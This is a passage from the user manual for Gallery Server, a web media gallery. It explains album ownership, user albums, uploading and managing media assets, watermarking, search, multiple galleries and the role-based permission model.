the option Include child directories is enabled, then all files below the specified directory will also

be synchronized. Gallery Server never searches for or adds media files from outside the Original file

storage location.

• Thumbnail images are stored in the Thumbnail image storage location. By default, all thumbnail

images begin with the prefix zThumb_. If desired, this can be changed on the Media Settings page.

• Compressed images are stored in the Compressed image storage location. By default, all

compressed images begin with the prefix zOpt_. If desired, this can be changed on the Media

Settings page.

• If the thumbnail or compressed images are accidentally deleted, they can be recreated by

performing a synchronization.

• Depending on your web server, Gallery Server typically synchronizes from one to one hundred

images per second. Keep in mind that if you have thousands of images, it may take a long time.

• You can modify any Gallery Server media asset in a third party program like Photoshop without

losing the caption or other data you entered, as long as you don’t change the file name.

Album ownership

An album owner can add, edit, and delete objects within the album. Think of it as being an administrator

of an album.

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The permissions an owner has propagate to all child albums and cannot be revoked at a lower level. For

example, if an owner can create child albums, he or she can create child albums on those child albums, and

so on. This is consistent with the overall security pattern in Gallery Server that permissions always propagate

downward.

Only site or gallery administrators can assign a user as the owner of an album. Owners cannot re-assign

ownership to another user (unless the owner is an administrator, of course).

Assign the owner of an album by clicking the Security button on the Manage ribbon tab. A small window

appears where you can enter a username.

By default, the owner of an album can add, edit, and delete objects within the album. The permissions

given to owners are defined in a role whose name begins with “_Album Owner Template” and can be

changed using the Roles page.

If a user who is the owner of an album is deleted, the album is updated to no longer have an owner.

Note: A very similar feature—user albums—provides an album for each user and assigns that user as

the owner of the album. Using user albums may be a better approach depending on your

requirements.

* Behind the Scenes * When a user is assigned as the owner of an album, a new role is created with

the user as the sole member. The permissions in the role are copied from the template role. There is

one template role for each gallery, and its name begins with “_Album Owner Template”. Note that if

the template role is assigned to one or more albums, those albums are also applied to the new role.

The name of the role follows this pattern:

Album Owner - {UserName} - {Album Title} (album {album ID})

For example: "Album Owner - Albin - Photos (album 3)"

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You can view these roles on the Manage Roles page by selecting the checkbox labeled Show roles that

support the album ownership and user album features.

The ownership feature (and the user album feature) is an abstraction of the underlying security model

of using roles to limit access to albums. Both of these features manipulate roles behind the scenes to

manage the desired level of access for a user.

Private albums

To hide an individual album from anonymous users, mark the album as private. This is done in the

security window, accessible on the Manage ribbon tab.

Private albums have the following characteristics:

• They are never shown to anonymous users.

• The privacy setting of an album applies to all child albums and media assets. You cannot make a

child album un-private if its parent is private.

• The privacy setting of an album has no effect for logged on users.

User albums

Overview

Gallery Server can be used in community scenarios where users automatically receive a personal album

they manage. A variety of configuration options are available to satisfy the majority of needs. For example,

the following are possible:

• User albums are publicly available for everyone to view, even anonymous users

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• Users can add photos to their album, but not other file types such as videos, nor can they create

child albums.

• Only logged on users can view albums

• User albums are private and viewable only to each user

• Many more possibilities…

By default, users can perform any function within their album, such as adding and deleting media assets

and child albums, sorting, and synchronizing.

These default permissions are stored in a template role. There is one template role for each gallery, and

its name begins with “_Album Owner Template”. For example: “_Album Owner Template (Gallery ID 2:

'Engineering')” When a user album is created, the template role for the current gallery is copied and

assigned to the user. You can adjust the permissions in this role to change the default permissions users are

assigned when their user album is created.

To adjust the permissions a user has for an existing user album, edit the permissions for the role that

was created for that user. The role is visible on the Roles page when you select the option “Show roles that

support the album ownership and user album features”.

Note: If you don't see the template role on the Manage Roles page, it may not exist. This role is

automatically created the first time it is needed. You can trigger its creation by assigning a user as an

owner of an album or enabling user albums and navigating to your album.

When user albums are enabled, a user can jump to their personal album by clicking the “My album”

button in the View ribbon tab:

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The user album starts out empty. Only the user who owns the album (and administrators, of course) are

able to add, edit, and delete assets, unless the administrator has configured a gallery that gives multiple

users editing permission to the album that contains the user albums.

Enabling user albums

User albums are enabled on the User Settings page. This is the relevant portion of that page:

There are several configuration options available.

Always redirect to user's album after logging on - When enabled, the user's personal album is displayed

each time the user logs on. If the user has disabled the album on their account page, the top level album is

displayed.

Album name template - Specifies the template to use for naming the album that is created for new users.

The placeholder string {UserName}, if present, is replaced by the user's account name. No other placeholder

strings are supported.

Album summary template - Specifies the template to use for the album summary of a newly created user

album. No placeholder strings are supported.

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User album container album - Specifies the album in which user albums are created. If a different album is

selected, existing user albums are not automatically moved. To move them to another album, use the

standard functionality for moving albums.

Auto create user albums – Specifies whether a user album is automatically created for a user the first time

he or she logs on. Disabling this option can be useful when the user album feature may only be used by a

subset of users and you do not want a bunch of empty albums sitting in the user album gallery.

When this option is disabled, user albums are not created for users. (If a user album already exists, it is

not deleted, however.) If a user wants to enable their personal album, he or she can click the My account

link in the top right of the page:

The account page has a section where the user album can be enabled:

When the user checks this box and saves the page, an album is immediately created.

Warning: When a user disables their album, it is permanently deleted and cannot be recovered. Read

the next section about deleting user albums for more information.

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Note: If you turn off the option to allow a user to manage their account, then only an administrator

can enable or disable a user's album on the Users page.

Enable / disable existing user albums – These buttons, which are only available when user albums have

been enabled at the gallery level, enable or disable user albums at the user level. Click the Enable All button

to turn on the user album for each account, including those where the user turned off their user album on

their account page or an administrator turned off the user’s user album on the Users page. Similarly, click

the Disable All button to turn off the user album for all accounts. After clicking one of these buttons, an

administrator (or user, if users are allowed to manage their own account) can selectively enable or disable

the user album for individual accounts.

IMPORTANT: Clicking either of these buttons will not immediately create or delete any user albums.

The next time each user logs on, the validation logic will create or delete the user's album based on the

value of their profile setting. When the user's profile specifies a disabled user album and a user album

currently exists, the album - and its contents - are permanently deleted. Use with caution!

Note: To improve performance, user profiles are stored in the server's session, which means currently

logged on users will not see the effect of you enabling or disabling profiles until the next time their

profile is retrieved from the data store. To force your change to take immediate effect, restart the

application pool.

Deleting user albums

It is important to understand what happens to user albums in various circumstances.

• Deleting a user – When an administrator deletes a user or the user deletes their own account on the

account page, the user album is also deleted, including any media assets and child albums it

contains. The items are not recoverable.

• Disabling user albums at the user level – When a user disables their personal album on their

account page, all media assets and child albums in their album are deleted. The items are not

recoverable.

• Disabling user albums at the gallery level – When an administrator disables user albums on the

User Settings page, user albums are not deleted, but they are no longer treated as user albums by

the gallery – they are just regular albums. If desired, the administrator can delete them as they

would a regular album.

• Deleting an album that is a user album – If a user album is deleted through the Delete button on

the Manage ribbon tab, Gallery Server will allow it to be deleted, but the album will be automatically

re-created the next time the user who owned that album logs on.

Because of this "my album keeps coming back" behavior, this is not the recommended way to

remove a user album. To delete an individual user album, the user should disable their user album

on their account page. To delete all user albums, the administrator can disable user albums at the

system level (click Disable All on the User Settings page) and then manually delete them.

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5. Working with Media Assets

Overview of media assets

A media asset is any file or HTML snippet managed by Gallery Server. Typically, these are photos,

videos, audio files, and documents, but they can be any file type. The default installation enables JPG and

JPEG files. To enable additional types, use the File Types page.

By default, Gallery Server stores all media asset files in a subdirectory named \gs\mediaobjects\. You

can change this location on the Media Settings page.

When a media asset is HTML text, it is called an external media asset and can be used to:

• Link to media assets on other servers (e.g. YouTube videos).

• Display custom snippets of HTML.

• Link to other web pages by embedding other web pages in an iframe HTML tag.

All media assets can be sorted, moved or copied to another album, deleted and have their captions and

other properties edited.

Gallery Server can read and write image metadata such as camera model, shutter speed, and others.

Gallery Server can also apply a watermark to images, run a slide show, and edit images.

With videos and audio files, Gallery Server can create web-optimized versions that play in any modern

browser without the use of plugins. This feature requires the free Gallery Server Binary Pack.

Any media asset – except external media assets – can be downloaded by clicking the Download button

on the ribbon menu.

Media files are rendered to the browser using HTML defined in templates called Media Templates. For

example, .mp4 files are typically rendered in a video tag while .pdf files are rendered inside an iframe. This

behavior is fully customizable – you can even vary the HTML by browser. See the section Rendering media

assets in the browser for more information.

Add media assets

There are several ways to add media assets to the gallery. Each of these is discussed below.

• Use a web browser to upload individual files

• Use a web browser to add external media assets

• Use a web browser to upload a ZIP file containing multiple files

• Sync with existing files

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Upload files using a web browser

You can add individual media assets to a single album with this technique.

1. Log on to Gallery Server with an account that has permission to add media assets.

2. Navigate to the album to which you want to add media assets.

3. Choose Add media from the Manage ribbon tab.

Note: If you do not see the Manage ribbon tab, either you are not logged on or the account under

which you are logged on does not have permission to perform any of the tasks shown on that tab.

4. Drag files from another window or click Add files to manually select them. Note: Drag and drop is

not supported in some browsers.

5. Optionally select one of the options in the Advanced options section:

• Discard original file - When selected, the original file is deleted after the thumbnail and web-

optimized versions are created. Administrators can force this option to be always selected

through a configuration option on the Image Settings page.

• Treat ZIP file as media asset - When checked, Gallery Server will not extract the contents of any

ZIP files that are uploaded. Instead, the ZIP file will be preserved and treated as its own media

asset. This option will be disabled when the ZIP file extension is disabled on the File Types page.

6. Click Add to album. While the files are being transferred to the server, progress indicators display

the status.

Note: The caption for each asset defaults to the file name. For images, if the title metadata item is

present, that value is used for the caption instead of the file name.

7. When the upload is complete, you will be redirected to the album view page.

Add external media assets

You can add media assets that refer to objects hosted elsewhere, such as another web site on your

intranet or even the internet. These objects are called external media assets and are really nothing more

than HTML text that contains anything you want. Typical uses:

• Link to media assets provided as embed code on other servers (e.g. YouTube).

• Display custom snippets of HTML.

• Link to other web pages by embedding other web pages in an iframe HTML tag.

For example, you might upload your videos files to YouTube and then add embed code pointing to those

videos to your gallery. Since the videos are streamed straight from the external web site, you save disk

storage and bandwidth costs.

Follow these instructions to add an external media asset:

1. Log on to Gallery Server with an account that has permission to add media assets.

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2. Navigate to the album to which you want to add media assets.

3. Select the Add media button from the Manage ribbon tab. Click the External Content tab.

Note: If you do not see the Manage ribbon tab, either you are not logged on or the account under

which you are logged on does not have permission to perform any of the tasks shown on that tab.

4. Select the type of media asset you are adding (audio, image, video, or other). This is used to

determine an appropriate thumbnail image for the object.

5. Enter a title.

6. Paste the HTML text into the HTML Fragment / Embed Code textbox.

7. Click Add to album. The media asset will be created.

Note: As a security precaution, HTML and JavaScript is restricted for non-administrators. Read the

section User permissions for more information.

Note: External media assets do not respect the setting for automatically playing video and audio on

the Video & Audio Settings page. That setting applies only to media files that are uploaded or

synchronized in Gallery Server.

Upload a ZIP file containing multiple files

This is a flexible technique allowing you to efficiently add a number of media assets. First prepare a ZIP

file containing the files you wish to add to Gallery Server, then upload the ZIP file using the Add media

button.

Note: If the ZIP file contains directories, those directories are converted to albums.

View/edit media asset properties

Each media asset has several properties such as title, caption, tags, etc. Several are extracted from

media files, such as the EXIF, XMP or IPTC metadata often found in images. By default, some of these

properties are editable while others are read only. In addition, some versions of Gallery Server allow you to

push your edits back into the metadata of the original file. You can adjust these settings on the Metadata

Settings page.

Media asset properties are edited in much the same way as album properties. Learn more in the Editing

album and asset properties.

Download media assets

Use the Download button on the View ribbon tab to download the file associated with the media asset.

Select multiple thumbnails to download a ZIP archive of all the items. Users are allowed to download only

those assets they have permission to view. If watermarking is enabled, the downloaded images will contain

a watermark.

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A few important points about downloading objects:

• Only users who have permission to view the original files are able to download the original

versions of media assets.

• When an album is selected for download, all of its contents, including child albums, are

packaged into the ZIP archive. If this is done on an album with thousands of items, it may

require a great deal of server resources and a lot of bandwidth. For this reason, you may want to

disable the downloading of albums. Do this in the Download section of the Media Settings page.

Sort media assets

Albums can be sorted in a customized manner using drag and drop or by a property such as title or date

picture taken. By default, albums are sorted by the date they are added to the gallery. This setting can be

changed on the Album Settings page.

Sort by a property

To sort by a property such as title or date picture taken, use the Sort button on the View ribbon tab.

Any user can sort an album. The scope of the sorting depends on the user’s permission:

• Anonymous user – When a non-logged on user sorts an album, the sort preference is stored in the

user’s session and re-applied for the duration of the session. Other users do not see these changes,

and the sort preference is lost when the session expires.

• Logged-on user with read permission – A permanent profile record exists for each user. This profile

stores the user’s sort preference for each album and is persisted across sessions.

• User with edit album permission – Changes to the sort affect how this album is displayed for all

users, unless a user has overridden the sort with his own preference.

Note that some media assets may not have certain properties. For example, videos do not have a ‘date

picture taken’ property. Attempting to sort an album by a property that is missing from one or more of the

media assets may result in an unexpected sort.

NOTE: During a synchronization, each album is re-sorted according to its sort property.

Custom sort using drag and drop

Instead of sorting by a property, you can drag and drop items into the desired sequence. Choose the

Custom option from the Sort button.

When an album has the custom sort option enabled, you can drag the thumbnail to the desired position.

When you release the thumbnail, its new position is instantly saved to the server.

The custom sort option appears only when a user is logged in and belongs to a role with edit album

permission to the current album.

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NOTE: Custom sorting is not available for virtual albums such as search results and recently added

items, since the contents are retrieved dynamically and are constantly changing.

Advanced sorting

The sort dropdown list shows the most commonly sorted properties, but you can sort an album by any

metadata property. The complete list of properties is shown on the Metadata Settings page.

To edit the list of available sort properties, edit the album UI template. That is, go to the UI Templates

page in the site admin area, select the Album gallery item, and then look for section in the HTML portion of

the template that defines the sort fields:

Edit the list of sort fields as desired. For example, to allow sorting by Author, add another list item:

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Notice that we specify data-id=’2’. That number identifies the Author metadata item and can be found

on the Metadata Settings page. We also hard code the text ‘Author’ since a resource string for that property

is not available in the client data. After saving the changes, one can now sort by Author.

Replace a media asset file

Use the Replace button on the Manage ribbon tab to replace the file of an existing media asset without

losing any metadata or changing its ID.

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This is great for those situations where you need to update the file associated with a media asset. For

example, you may be editing an image in Photoshop, updating a document, or trimming a video. In each of

these cases, you can download the file, make your change, and then use the replace function to push it back

to the server. The ID remains the same, and most of the asset’s properties are unchanged.

Which properties change? Well, they’re the ones you would expect, as they are properties of the file

and it makes sense to refresh them. They are width, height, dimensions, orientation, file name, file size,

audio format, video format, bitrate, and duration. That is, Gallery Server recalculates these metadata from

the uploaded file and updates the corresponding properties of the asset in your gallery.

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What about other properties, especially those that tend to be embedded in images such as date picture

taken, shutter speed, and camera model? It was a challenge for us to figure out the best approach here,

because we can think of pros and cons to the different options. If Gallery Server re-extracts all metadata

from an image when it is replaced, you may lose valuable data in those cases where your image editor

stripped out meta properties when you saved it. If it doesn’t re-extract, you won’t get meta updates you’ve

made with an external tagging or metadata writing program. There wasn’t a single approach guaranteed to

be what you want in all cases. In the end, Gallery Server recalculates the file-based meta properties and

leaves the rest alone. We think this is the right balance that will work for most users.

If you want Gallery Server to re-extract all the meta properties, delete the original media asset and then

upload the replacement file. Gallery Server treats this as a new media asset, so it will have a new ID. Any

external links that pointed to your old media asset will not automatically link to the new asset, so keep that

in mind.

Which properties get pushed into the replacement file?

We talked about how Gallery Server updates the properties of the media asset. But it can also write

properties to the original JPG image file. Whether it does or not depends on the metadata writing setting on

the Metadata page in the site admin area.

In the above screenshot, the tags property is writable and the title and caption properties are not. Let’s

say you have an image media asset and you’ve entered values for all three of these properties. Then you use

the new replace function to swap the file with another image. Gallery Server will push the tags into the

replacement file but not the title or caption. All three properties continue to appear in the gallery just as

before.

Delete albums and media assets

Use the Delete button on the Manage ribbon tab to remove assets from the gallery.

1. Select one or more assets to be deleted. If no assets are selected in the center pane, the containing

album will be deleted.

2. Optional: Select one of the delete options that appear when you expand the delete options. Learn

more about each option by clicking the question mark icon.

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3. Click the Delete button.

Note: When deleting an album, its child albums and all media assets in the album(s) are permanently

deleted. There is no undo function, so use caution!

Note: When deleting an album, the current user must have Delete child album permission for the

parent album of the album being deleted. If the album contains media assets, they are also deleted,

even if the user does not have Delete media asset permission.

Note: When deleting a media asset, the current user must have Delete media asset permission.

Delete original files

When you add images whose file size is large, Gallery Server automatically creates a web-optimized

version that is bandwidth-friendly and takes up less hard drive space. However, the original is not deleted

and is still available for downloading and viewing.

Similarly, when the Gallery Server Binary Pack is installed and encoded versions of video and audio files

have been created, the original files are preserved.

You can save significant amounts of hard drive space by deleting the original versions of these media

assets, keeping only the web-optimized and thumbnail versions. The asset continues to remain in the gallery

and you can continue performing all the same tasks as before. The only difference is that the original file no

longer exists. The web-optimized version now becomes the “original”.

1. Navigate to the album containing the media assets for which you want to delete one or more

original files.

2. Expand the delete options, then select Delete the original files to free up disk space. Gallery Server

calculates and displays the hard drive space that would be saved if each item was selected.

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3. Select the items for which you would like to delete the corresponding original files. Click the Delete

button. A confirmation dialog appears.

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4. Confirm the deletion by clicking Delete original media files.

WARNING: The original media files will be permanently deleted. If you subsequently re-extract one or

more metadata properties (on the Metadata Settings page), you may lose the data you extracted from

the originals if they are not present in the web-optimized version.

Move or copy albums and media assets

Albums and media assets can be moved or copied to other albums. When a copy of a media asset is

made, a copy of the media file is saved to the destination album. The original file remains in the source

album. When an album is copied, the directory and its contents are copied.

1. Navigate to the album containing the assets to move or copy.

2. Select the desired assets. If you don’t select anything, the entire album will be moved or copied.

3. Click the Move To or Copy To button, then select the destination album.

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Rotate/flip media assets

Images and videos can be rotated in intervals of 90 degrees in any direction. You can also flip them on

the horizontal or vertical axis.

1. Navigate to the album containing the assets to rotate or flip.

2. Select the desired assets.

3. Click one of the rotate/flip buttons.

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Note: Video rotation requires the Gallery Server Binary Pack.

Note: After the items are rotated, your browser may display the previous item from its cache rather

than the newly rotated one. To get the latest version, refresh the page in your browser.

Note: Rotating and flipping, along with metadata writing, are the only functions in Gallery Server that

modify the original file. In some cases, repeatedly rotating or flipping an object will degrade the

original, so use this function with caution.

Note: If the item has an orientation metatag embedded in the original file, it will be cleared during the

rotation.

Using the image editor to rotate/flip

You can also rotate or flip images with the image editor.

Note: The image editor performs its tasks on the client using JavaScript algorithms and the browser’s

API. This is different than the rotate/flip buttons on the Manage ribbon tab, which perform the

rotate/flip action on the server. In our experiments, we could not detect a difference in quality

between the algorithms of the popular browsers and their .NET-based server-side equivalents. They all

looked great and performed well. That said, we didn’t test all possible browsers, including ones that

were released after our testing, so you may find a particular browser does either better or worse than

.NET, depending on the algorithms being used and the type of images you are editing. If this is

important to you, be sure to test. Remember, these functions are changing your original files.

1. Select the thumbnail for an image or navigate to it. Click the Edit Image button in the Manage tab of

the ribbon toolbar.

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2. The image editor appears. Click the orientation button.

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3. The toolbar changes to show rotate and flip buttons. Make your selection and choose Apply. Then

click Save.

Watermarking

The watermark feature is a powerful tool to help protect images from unwanted duplication or to

communicate the source of the image.

Watermarks are rendered dynamically on the image when it is requested by the browser. The original

image files are not modified, and no files are stored on the web server with watermarks applied to them. If a

user downloads an image, the downloaded image has the same watermark as the image rendered in the

browser.

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Below is an example of a photo with an image and text watermark.

Gallery Server supports two kinds of watermarks:

• A custom image that is applied to each image. For example, the Gallery Server logo in the image

above.

• Custom text that is applied to each image. For example, the copyright message in the image above.

You can configure one or both of these watermarking techniques. Furthermore, you can control the

following attributes of each watermark:

• The source of the watermark image. Use your own image file. If you specify a .gif or .png with

transparent pixels, those pixels will remain transparent when rendered on the image surface.

• The location to apply the watermark on the image. Choose from nine locations, such as TopLeft,

MiddleCenter, etc.

• The size of the watermark. The size can be relative to the size of the image, such as 50% of the width

of the image. For a text watermark, you can optionally specify the font size.

• The opacity, from transparent to completely opaque.

• For text watermarks, specify the font name and size.

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Note: The watermark image and/or text applies to all images in the gallery. If you wish to use multiple

watermarks, create multiple galleries and configure a unique watermark image in each gallery.

You can specify that certain users do not get the watermark. See the section Configure role-based

watermarking below.

Enable watermarking

Watermark functionality is configured on the Image Settings page. Refer to the Image Settings section

for detailed information on the various configuration options.

Configuring role-based watermarking

Certain users can be configured to not receive the watermark. This is useful for, say, professional

photographers who want to allow users to browse all photos in the gallery. A watermark can be applied to

users by default, but paying customers can be placed in a role where watermarks are not rendered on the

images. This can be specified at the album level so that certain albums render watermarks for a given user

while others do not.

To configure Gallery Server so that all users receive a watermark except for a certain user account,

follow these steps.

1. Enable the watermark functionality. This is done on the Image Settings page.

2. Configure a role with Do not show watermark on image permission for at least one album.

3. Add a user to this role. (Make sure the user has view access to the desired media assets. Add view

permission if necessary to the role you configured in step 2.)

Note: Browsers often cache images, so you may need to refresh the browser in order to see the non-

watermarked version of an image that previously had a watermark.

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Examples of watermarks

Below is a text watermark with the letters “TIS” set to 100% of the image width. Opacity is set to 20%.

(TIS stands for Tech Info Systems.)

Here is an example where a custom image has been specified to be 50% of the width of the photo and

located in the top left. Opacity is set to 40%.

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Searching

To begin a search, click the search icon in the top right of the page. Enter the search term and click the

Search button.

Note: If the search icon is not visible, it may have been disabled on the Gallery Settings page or the

Gallery Control Settings page.

Enter the search terms in the dialog and select a search type. Note that choosing Everything in a large

gallery may take a long time.

A page with the search results appears. Click the thumbnail to view the item.

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An asset is considered a match if all search words match an album or media asset. For example, if one

searches for desert mountain, only those albums or media assets that contain both desert and mountain

are returned. If the search words are contained in quotation marks, such as “desert mountain”, then the

phrase must exactly match.

There is currently no support for the OR condition.

The contents of documents such as PDF files are not searched. Only those assets for which the current

user has authorization to view are returned in the search results.

Since the search function includes the metadata extracted from images, you can perform some pretty

powerful searches. For example, to see all your photos that were shot at -0.5 step compensation, search for

“-0.5 step”. You may have to adjust the text depending on your camera.

6. Working with Galleries

Overview

A gallery is a collection of albums and media assets bound together with a common set of settings such

as file storage location, watermark settings, image size, allowed file types, and whether user albums are

enabled.

When Gallery Server is installed, a single gallery is created and all albums and media assets are added to

this gallery. In many cases, this is sufficient and you will never need to create another gallery.

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About multiple galleries

While a single gallery will satisfy the requirements of many users, Gallery Server supports multiple

galleries within a single application instance. There are many situations where multiple galleries can help

achieve your goals:

• You want to have one area for staging and another for production. Media objects are first added to

the staging area, where they are organized and prepped. When they are ready to be deployed, they

can be moved or copied to the production gallery.

• You have departments in your company that should each have their own gallery. Each gallery should

have its own administrator and can have its own settings, such as user accounts, watermark,

permissions, etc. Rather than setting up and maintaining multiple web applications, this can now be

handled in a single application instance.

• You have media files in multiple locations you want to expose, such as D:\Pictures and D:\Video.

• You want to set up a gallery for each member of your family. Each person is a mini-administrator for

their area and can't edit another person's media assets, yet everything is contained within a single

web application and database.

• You want some images to be 640x480 and others to be smaller (or larger).

• You want to have a watermark applied to one set of images but another set should have no

watermark, and all images are to be accessible to anonymous users. Or you have different

watermarks that should be applied to different sets of images.

• You want to provide a user with different gallery-wide permissions. For example, user 'Bob' should

be a gallery administrator for one set of objects, but have edit-only permission for another set.

• You want to allow some users to upload any file type of any size, but others should only be able to

upload .JPEG's that are less than 5 MB.

Every gallery gets its own web page

The Gallery Manager page lets you manage your galleries. Generally, each gallery is associated with a

particular web page containing the Gallery Server user control. For example, a default installation contains a

single web page – default.aspx – that is linked to the gallery that is created during the installation.

If you create a second gallery, typically you will create a second web page to reference it. Because

multiple galleries involve creating new web pages, this is a feature that will typically be used only by web

developers.

The How-To section has a tutorial for setting up a second gallery.

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Gallery isolation and user/role security

Albums and media assets in a gallery are isolated from other galleries. They have separate hierarchies,

gallery settings, and are stored in different physical locations. Users and roles can be associated with one

gallery and not another, which helps isolate a user to a particular gallery.

When a user does not have access to a gallery, everything about it is hidden from the user – its albums,

media assets, users, and roles. To that user the gallery may as well not even exist.

There are two types of administrators in Gallery Server:

• Site administrator – Has complete control over all settings in a Gallery Server installation. A site

admin is automatically a gallery admin of every gallery, and can always access every media asset in

every gallery.

• Gallery administrator – Has complete control over a particular gallery. Other galleries (and their

albums and media assets) are inaccessible and hidden from view.

Read more about managing users and administrators in the section User Management and Security. For

now, we will focus on understanding how lower levels of permission can cause objects to be hidden.

Examples of hidden galleries

Users can move or copy objects to another gallery only when they are a gallery administrator for the

destination gallery. For example, in the How-To tutorial where we set up two galleries, a site administrator

can see both galleries when moving/copying objects:

But when logged in as a gallery administrator for just one of the galleries, only the galleries for which the

user is an administrator is shown. For example, user Albin is a gallery administrator for the Engineering

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gallery, but only has view-only access to the Marketing gallery, so Albin is only allowed to move objects

within his own gallery:

Similarly, this user (Albin in this example) sees only a single gallery on the Gallery Manager page, even

though two actually exist. This is because Albin does not have administrative permission to the Marketing

gallery:

A site administrator will see both galleries, as will any user who has ‘Administer gallery’ privileges to

both galleries:

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Users and roles in galleries

As you might expect, a site administrator can see all users and roles anywhere they are displayed, such

as the Manage Users and Manage Roles pages.

Two configuration settings control whether a gallery administrator can view users and roles. These are

on the Site Settings page:

By default, these options are enabled, which means gallery admins can see all users and roles and

manage them, including creating, editing, and deleting users. In some cases, this may be too much

permission.

To prevent gallery admins from modifying users and roles, uncheck the option Allow gallery admins to

manage users and roles. This will cause the Manage Users and Manage Roles pages to be inaccessible.

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The second option allows gallery administrators to see users and roles that do not have access to the

current gallery. This is useful, for example, to allow a gallery admin to give an existing user access to a

gallery. However, in some environments it may be inappropriate for a gallery administrator to be able to

view users and roles in other galleries, so this setting lets you hide them from the gallery admin. When this

option is disabled, only users and roles that have access to a gallery the gallery admin can administer are

made visible.

Editing roles that affect multiple galleries

Imagine there is a role called Everyone which has view permission to all the galleries. User Albin is a

gallery administrator for one gallery but not the others. What happens if Albin tries to edit the role? For

example, this is what happens when Albin tries to remove user Bob from the Everyone role:

The underlying principle is: Administrators can create users but cannot give them any permissions

greater than they themselves have, nor can a gallery administrator give a user access to another gallery

unless he or she is an administrator for that gallery.

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What happens when an URL and gallery conflict?

As you navigate the gallery, the URL specifies the album ID or the media asset ID. For example, this URL

specifies album ID #5, which is the album called Photos:

Each instance of the Gallery Server user control is also linked to a particular gallery, as seen on the

Gallery Manager page:

What happens when a user edits the URL to request an album or media asset that exists in a different

gallery than specified in the Gallery Manager? If the user has permission to view the object, then Gallery

Server will display it, even if it belongs to another gallery. There is one exception – if an administrator turned

off the Allow URL Navigation option on the gallery settings page, then all users are forbidden from specifying

an album or media asset in the URL, even those in the current gallery.

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Creating a read-only gallery

Gallery Server helps you share and manage your media collection over the web. In some cases, you may

not want to allow it to make any changes to your media files. In other words, you want Gallery Server to

expose a read-only view of your collection.

When Gallery Server is in read-only mode, users cannot create albums or upload files, nor can they

move, copy or delete albums and media assets. In other words, they can't perform any action that modifies

the original media files. However, users can synchronize, download, edit properties, and administrators can

change settings in the Site Admin area, including managing users and roles.

A read-only gallery is configured on the Media Settings page in the Site Admin area, as seen here:

There are several requirements that must be met before a gallery can be made read-only:

• User albums must be disabled

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• The directory for the thumbnail and compressed images must be different than the original

media assets directory

• The option Synchronize directory names with album titles must be disabled

When a gallery is read-only, the only way to add or remove media assets is by manually updating the

media assets directory with FTP or a tool like File Explorer and then running the synchronize function.

If this setting is enabled, it is recommended to configure the IIS application pool identity to have read-

only access to the media assets directory as an additional safeguard. This helps guarantee that the web

application cannot manipulate the media files.

7. User Management and Security

Overview

Gallery Server uses a system of anonymous browsing, user accounts, and roles to provide a flexible

security model that should satisfy most security needs. There is no limit to the number of users and roles.

By default, anonymous users - that is, those who are not logged on - can browse the albums and media

assets, but they cannot perform tasks that modify data, such as adding albums, rotating an image, site

administration, etc.

Gallery Server uses the ASP.NET Membership and Role provider model. By default, the users and roles

are stored in the same database as the Gallery Server data. You can optionally configure Gallery Server to

connect to an existing store of users. Read more about configuring the membership provider in the

Membership Configuration section.

Users

Individuals access Gallery Server anonymously or by logging on with user accounts. User accounts have

access to albums and administrative tasks based on the roles to which the user belongs. Users are created

and maintained on the Manage Users page.

If you integrate Gallery Server with an existing membership system, you can manage your users with

your original system or with the user management function in Gallery Server.

Create a user

Create a user by clicking Add new user… on the Manage Users page. Enter the requested information,

including the roles to assign to the user.

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An email address is optional but useful for allowing users to retrieve forgotten passwords.

Click Save to create the user.

Edit or delete a user

Click the user name to begin editing.

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Change the desired settings and click Save. To delete the user, click Delete.

If user albums are enabled, you can also enable or disable the user's personal album.

WARNING: Disabling a user's album causes the album and its contents to be deleted!

Roles

Permissions in Gallery Server are applied to roles rather than to users. Users are allowed to carry out

tasks when they are a member of one or more roles that provide the appropriate permission. By combining

users and roles in different configurations, you can achieve a highly configurable gallery.

Gallery Server will give a user permission to perform an activity if any of the user's roles contain the

requested permission, even if the others do not.

Below is a list of the permissions that can be applied to a role.

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Role permission

Description

Administer site (all

galleries and albums)

Provides unrestricted access to all functionality in Gallery Server. This is the only

permission that applies to all albums in every gallery and cannot be selectively

applied to individual albums or galleries.

Administer gallery

Provides unrestricted access to one or more galleries. This includes adding and

editing albums and media assets, configuring gallery settings, and managing

users and roles for the gallery. This permission applies to an entire gallery and

cannot be selectively applied to individual albums.

View albums / assets

Provides a read-only view of photos, videos and other media assets. Note that it

does not give access to the original, high resolution versions of images (if they

exist).

View original media

source

Provides read only access to the original versions of media files, if they exist.

Add albums

Allows a user to add an album in any of three ways: (a) The user can create a

new album using the New album button in the ribbon toolbar, (b) copy an

album from another album, or (c) move an album from another album.

• Adding an album by moving it from another location is allowed only if

the user also has delete permission for the source album.

• When moving or copying an album, users must have Add albums

permission on the destination album.

• When a user moves or copies an album, any media assets within the

album are also transferred regardless of whether the user has Add

media assets permission on the destination album.

Add media assets

Gives a user the ability to add media assets such as images, videos, audio files,

and documents in any of three ways. The user can (a) add a new media asset

using the Add media button in the ribbon toolbar, (b) copy a media asset from

another album, or (c) move a media asset from another album.

• Adding a media asset by moving it from another album is allowed only if

the user also has Delete media asset permission for the album from

which the media asset is being moved.

• A user must have both Add media assets permission and Add albums

permission in order to add a ZIP file that contains one or more

directories, since Gallery Server converts the directories to albums.

• Only those media assets that are enabled on the Media Object Types

page can be added.

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• To add media assets through synchronizing, the Synchronize permission

is also needed.

Edit album

Allows a user to edit album information, such as the title, caption, tags, the

assigned thumbnail, and the order of media assets and child albums.

Edit media asset

Allows a user to edit a media asset's title, caption, tags, and other properties.

For images, it also allows rotation and the deletion of the original, high

resolution image (if it exists).

Delete child albums

Allows the deletion of a child album in one of two ways: the user can either

delete an album outright, or move an album to another album.

• When moving an album, users must have this permission on the source

album, as moving can be thought of as deleting an album from one

location and adding it to another. (The user must also have permission

to add an album to the destination album.)

Delete media asset

Allows the deletion of a media asset in one of two ways. The user can either

delete a media asset outright or move a media asset to another album.

• When moving a media asset, users must have this permission on the

source album, as moving can be thought of as deleting an object from

one location and adding it to another. (The user must also have

permission to add a media asset to the destination album.)

Synchronize

Provides the ability to synchronize the media asset files and directories on the

web server's hard drive with the records in the data store.

• If a user has the ability to edit the media assets directory outside the

security boundary of Gallery Server (such as using a utility like File

Explorer), and the user also has Synchronize permission here, she

effectively has the ability to add and delete albums and media assets,

even if those permissions are not included in a user's role.

Do not show

watermark on image

This permission causes images to be shown to the user in their original form,

without a watermark applied. If a user belongs to more than one role with

conflicting values, then watermarks are not shown. This permission is ignored if

the watermark functionality is disabled for the gallery. Refer to the section

Watermarking for more information.

Create a role

